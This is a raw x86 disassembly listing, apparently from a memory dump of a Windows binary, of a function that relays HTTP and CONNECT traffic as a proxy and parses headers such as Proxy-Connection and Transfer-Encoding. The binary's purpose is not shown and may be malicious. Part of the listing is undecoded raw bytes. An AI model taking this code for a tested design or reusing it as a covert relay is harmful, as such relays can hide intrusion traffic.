		push	ecx
		lea	ecx, [esp+3Ch]
		mov	byte ptr [esp+1Fh], 1
		call	sub_4016B8
		lea	edx, [esp+0B8h]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+54A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+218h]
		test	al, al
		setz	bl
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset aHttp	; "http"
		lea	ecx, [esp+0BCh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42A5EF
		jmp	loc_42995A
; ---------------------------------------------------------------------------


loc_429765:				; CODE XREF: ___:004296E7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24Ch]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 5
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42995A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+0BCh]
		mov	byte ptr [esp+17h], 0
		call	sub_4015E1
		push	offset byte_448F40
		lea	ecx, [esp+114h]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C74 ; ":"
		lea	edx, [esp+174h]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 6
		call	sub_4016B8
		push	eax
		lea	ecx, [esp+0D1h]
		mov	byte ptr [esp+54A4h], 7
		call	sub_401FDC
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+54A0h], 6
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+27Ch]
		push	1
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C74 ; ":"
		lea	ecx, [esp+1A4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 8
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 9
		call	sub_4017EE
		test	eax, eax
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+54A0h], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset asc_444600 ; " "
		lea	edx, [esp+264h]
		push	1
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C74 ; ":"
		lea	ecx, [esp+1D4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 0Ah
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 0Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1D0h]
		mov	[esp+10Ch], eax
		mov	byte ptr [esp+54A0h], 0Ah
		call	sub_401226
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		mov	eax, [esp+10Ch]
		test	eax, eax
		jnz	short loc_42995A
		mov	dword ptr [esp+10Ch], 50h


loc_42995A:				; CODE XREF: ___:00429760j
					; ___:004297ACj ...
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	0
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F40
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+54A4h], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5DE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h]
		push	2
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F40
		lea	ecx, [esp+64h]
		mov	byte ptr [esp+54A4h], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5CD
		lea	ecx, [esp+0CDh]
		push	ecx
		lea	ecx, [esp+8Ch]
		call	sub_4014D3
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+4498h]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+54A0h], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+4498h]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_4471F4 ; "\r\n"


loc_429A21:				; CODE XREF: ___:00429A3Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A45
		test	cl, cl
		jz	short loc_429A41
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A45
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A21


loc_429A41:				; CODE XREF: ___:00429A2Bj
		xor	eax, eax
		jmp	short loc_429A49
; ---------------------------------------------------------------------------


loc_429A45:				; CODE XREF: ___:00429A27j
					; ___:00429A35j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A49:				; CODE XREF: ___:00429A43j
		test	eax, eax
		jz	loc_429B23
		mov	edi, dword_511AD8


loc_429A57:				; CODE XREF: ___:00429B1Dj
		mov	esi, offset byte_448F40
		lea	eax, [esp+4498h]


loc_429A63:				; CODE XREF: ___:00429A81j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A87
		test	cl, cl
		jz	short loc_429A83
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A87
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A63


loc_429A83:				; CODE XREF: ___:00429A6Dj
		xor	eax, eax
		jmp	short loc_429A8B
; ---------------------------------------------------------------------------


loc_429A87:				; CODE XREF: ___:00429A69j
					; ___:00429A77j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A8B:				; CODE XREF: ___:00429A85j
		test	eax, eax
		jz	loc_429B23
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+449Ch]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A629
		lea	edx, [esp+4498h]
		push	4000h
		lea	eax, [esp+49Ch]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+4A8h]
		push	offset asc_4471F4 ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_4471F4 ; "\r\n"
		lea	eax, [esp+4498h]


loc_429AF3:				; CODE XREF: ___:00429B11j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429B17
		test	cl, cl
		jz	short loc_429B13
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429B17
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429AF3


loc_429B13:				; CODE XREF: ___:00429AFDj
		xor	eax, eax
		jmp	short loc_429B1B
; ---------------------------------------------------------------------------


loc_429B17:				; CODE XREF: ___:00429AF9j
					; ___:00429B07j
		sbb	eax, eax
		sbb	eax, ebx


loc_429B1B:				; CODE XREF: ___:00429B15j
		test	eax, eax
		jnz	loc_429A57


loc_429B23:				; CODE XREF: ___:00429A4Bj
					; ___:00429A8Dj
		mov	esi, dword_511B04
		lea	eax, [esp+498h]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		push	offset asc_444C74 ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_429B77
		cmp	byte ptr [eax],	20h
		jnz	short loc_429B5B


loc_429B52:				; CODE XREF: ___:00429B59j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_429B52


loc_429B5B:				; CODE XREF: ___:00429B50j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_429B7E
; ---------------------------------------------------------------------------


loc_429B77:				; CODE XREF: ___:00429B3Dj
					; ___:00429B4Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_429B7E:				; CODE XREF: ___:00429B75j
		cmp	[ebp+0BFh], ebx
		jnz	loc_429C16
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42A6FD
		mov	edx, [esp+10Ch]
		xor	ecx, ecx
		mov	[esp+78h], ecx
		push	edx
		mov	[esp+80h], ecx
		mov	word ptr [esp+7Ch], 2
		mov	[esp+84h], ecx
		mov	[esp+88h], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0CDh]
		mov	[esp+7Ah], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+7Ch], eax
		jz	loc_42A63B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+78h]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_42A698


loc_429C16:				; CODE XREF: ___:00429B84j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_42A2BE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_429C61
		lea	edx, [esp+498h]
		lea	ecx, [esp+60h]
		push	edx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+24h]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_429C94
; ---------------------------------------------------------------------------


loc_429C61:				; CODE XREF: ___:00429C2Aj
		lea	ecx, [esp+498h]
		push	ecx
		lea	ecx, [esp+64h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+24h]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_429C94:				; CODE XREF: ___:00429C5Fj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_42A6E2
		cmp	eax, ebx
		jz	loc_42A6E2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A70F
		mov	edi, offset asc_4471F4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_4471F4 ; "\r\n"
		mov	[esp+2Ch], ebx
		lea	eax, [esp+498h]


loc_429D5E:				; CODE XREF: ___:00429D7Cj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429D82
		test	cl, cl
		jz	short loc_429D7E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429D82
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D5E


loc_429D7E:				; CODE XREF: ___:00429D68j
		xor	eax, eax
		jmp	short loc_429D87
; ---------------------------------------------------------------------------


loc_429D82:				; CODE XREF: ___:00429D64j
					; ___:00429D72j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429D87:				; CODE XREF: ___:00429D80j
		test	eax, eax
		jz	loc_42A109


loc_429D8F:				; CODE XREF: ___:0042A0F8j
		mov	esi, offset byte_448F40
		lea	eax, [esp+498h]


loc_429D9B:				; CODE XREF: ___:00429DBDj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		test	cl, cl
		jz	short loc_429DBF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D9B


loc_429DBF:				; CODE XREF: ___:00429DA7j
		xor	eax, eax
		jmp	short loc_429DC8
; ---------------------------------------------------------------------------


loc_429DC3:				; CODE XREF: ___:00429DA3j
					; ___:00429DB3j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429DC8:				; CODE XREF: ___:00429DC1j
		test	eax, eax
		jz	loc_42A105
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A100
		lea	edx, [esp+498h]
		lea	ecx, [esp+0A0h]
		push	edx
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	eax, [esp+204h]
		push	0
		push	eax
		lea	ecx, [esp+0ACh]
		mov	byte ptr [esp+54ACh], 0Fh
		call	sub_4016B8
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 10h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429EAA
		push	offset asc_444600 ; " "
		lea	ecx, [esp+144h]
		push	1
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 11h
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+140h]
		mov	[esp+2Ch], eax
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429EAA:				; CODE XREF: ___:00429E5Cj
		push	offset asc_444600 ; " "
		lea	edx, [esp+15Ch]
		push	0
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 12h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+18Ch]
		push	1
		push	eax
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 13h
		call	sub_40150A
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429F39:				; CODE XREF: ___:00429EF4j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+1BCh]
		push	0
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 14h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429FD4
		push	offset asc_444600 ; " "
		lea	edx, [esp+1ECh]
		push	1
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 15h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	byte ptr [esp+11h]


loc_429FD4:				; CODE XREF: ___:00429F83j
		mov	esi, offset asc_4471F4 ; "\r\n"
		lea	eax, [esp+498h]


loc_429FE0:				; CODE XREF: ___:0042A002j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		test	cl, cl
		jz	short loc_42A004
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429FE0


loc_42A004:				; CODE XREF: ___:00429FECj
		xor	eax, eax
		jmp	short loc_42A00D
; ---------------------------------------------------------------------------


loc_42A008:				; CODE XREF: ___:00429FE8j
					; ___:00429FF8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A00D:				; CODE XREF: ___:0042A006j
		test	eax, eax
		jz	loc_42A0A9
		mov	esi, offset byte_448F40
		lea	eax, [esp+498h]


loc_42A021:				; CODE XREF: ___:0042A043j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		test	cl, cl
		jz	short loc_42A045
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A021


loc_42A045:				; CODE XREF: ___:0042A02Dj
		xor	eax, eax
		jmp	short loc_42A04E
; ---------------------------------------------------------------------------


loc_42A049:				; CODE XREF: ___:0042A029j
					; ___:0042A039j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A04E:				; CODE XREF: ___:0042A047j
		test	eax, eax
		jz	short loc_42A0A9
		mov	edi, offset asc_4471F4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_42A0A9:				; CODE XREF: ___:0042A00Fj
					; ___:0042A050j
		lea	ecx, [esp+0A0h]
		mov	byte ptr [esp+54A0h], 0Eh
		call	sub_401226
		mov	esi, offset asc_4471F4 ; "\r\n"
		lea	eax, [esp+498h]


loc_42A0C9:				; CODE XREF: ___:0042A0EBj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		test	cl, cl
		jz	short loc_42A0ED
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A0C9


loc_42A0ED:				; CODE XREF: ___:0042A0D5j
		xor	eax, eax
		jmp	short loc_42A0F6
; ---------------------------------------------------------------------------


loc_42A0F1:				; CODE XREF: ___:0042A0D1j
					; ___:0042A0E1j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A0F6:				; CODE XREF: ___:0042A0EFj
		test	eax, eax
		jnz	loc_429D8F
		jmp	short loc_42A105
; ---------------------------------------------------------------------------


loc_42A100:				; CODE XREF: ___:00429DF0j
		mov	byte ptr [esp+12h], 1


loc_42A105:				; CODE XREF: ___:00429DCAj
					; ___:0042A0FEj
		mov	ebx, [esp+2Ch]


loc_42A109:				; CODE XREF: ___:00429D89j
		mov	al, [esp+11h]
		push	0
		test	al, al
		jz	short loc_42A131
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_42A14D
; ---------------------------------------------------------------------------


loc_42A131:				; CODE XREF: ___:0042A111j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_42A14D:				; CODE XREF: ___:0042A12Fj
		nop
		call	near ptr 71AB428Ah
		mov	edi, offset asc_4471F4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+4A0h]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_42A27C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_42A204


loc_42A1B3:				; CODE XREF: ___:0042A202j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_42A204
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A204
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A204
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+49Ch]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_42A1B3


loc_42A204:				; CODE XREF: ___:0042A1B1j
					; ___:0042A1BCj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_42A24E


loc_42A20A:				; CODE XREF: ___:0042A24Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A24E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A24E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+49Ch]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_42A20A


loc_42A24E:				; CODE XREF: ___:0042A208j
					; ___:0042A227j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_42A4DF
		mov	ecx, [ebp+0BBh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		or	esi, 0FFFFFFFFh
		mov	byte ptr [esp+12h], 1
		mov	[ebp+0BBh], esi
		jmp	loc_42A4E2
; ---------------------------------------------------------------------------


loc_42A27C:				; CODE XREF: ___:0042A1A7j
		mov	esi, dword_511CA4


loc_42A282:				; CODE XREF: ___:0042A2BCj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_42A24E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A24E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_42A282
; ---------------------------------------------------------------------------


loc_42A2BE:				; CODE XREF: ___:00429C1Cj
		lea	ecx, [esp+14h]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_42A782
		cmp	eax, ebx
		jz	loc_42A782
		mov	ebx, dword_511CA4
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+294h], eax
		mov	dword ptr [esp+290h], 1
		xor	eax, eax
		lea	ecx, [esp+294h]


loc_42A330:				; CODE XREF: ___:0042A33Bj
		cmp	[ecx], edx
		jz	short loc_42A33D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A330


loc_42A33D:				; CODE XREF: ___:0042A332j
		cmp	eax, 1
		jnz	short loc_42A354
		mov	[esp+298h], edx
		mov	dword ptr [esp+290h], 2


loc_42A354:				; CODE XREF: ___:0042A340j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+298h]
		push	eax
		push	ecx
		push	eax
		call	near ptr 71AB2DC0h
		nop
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+290h]
		push	edx
		push	eax
		call	sub_438256
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 9EC4E851h, 83907168h,	840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE72h, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 90515000h, 689E69E8h
		dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F07EE890h, 333D7168h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 0F02AE890h, 333D7168h
		dd 75000027h, 90016A0Dh, 405B3FE8h, 0FE43E902h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42A4DF:				; CODE XREF: ___:0042A256j
		or	esi, 0FFFFFFFFh


loc_42A4E2:				; CODE XREF: ___:0042A277j
		mov	al, [esp+11h]
		test	al, al
		jnz	short loc_42A502
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+12h], 1


loc_42A502:				; CODE XREF: ___:0042A4E8j
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		or	esi, 0FFFFFFFFh


loc_42A570:				; CODE XREF: ___:0042969Bj
		mov	al, [esp+12h]
		test	al, al
		jz	loc_4295E8


loc_42A57C:				; CODE XREF: ___:0042A624j
					; ___:0042A77Dj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_42A599
		mov	eax, [ebp+0BBh]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BBh], esi


loc_42A599:				; CODE XREF: ___:0042A584j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_42A5B4
		mov	ecx, [ebp+0BFh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi


loc_42A5B4:				; CODE XREF: ___:0042A59Fj
					; ___:0042A805j
		mov	ecx, [esp+5498h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_42A5CD:				; CODE XREF: ___:004299BAj
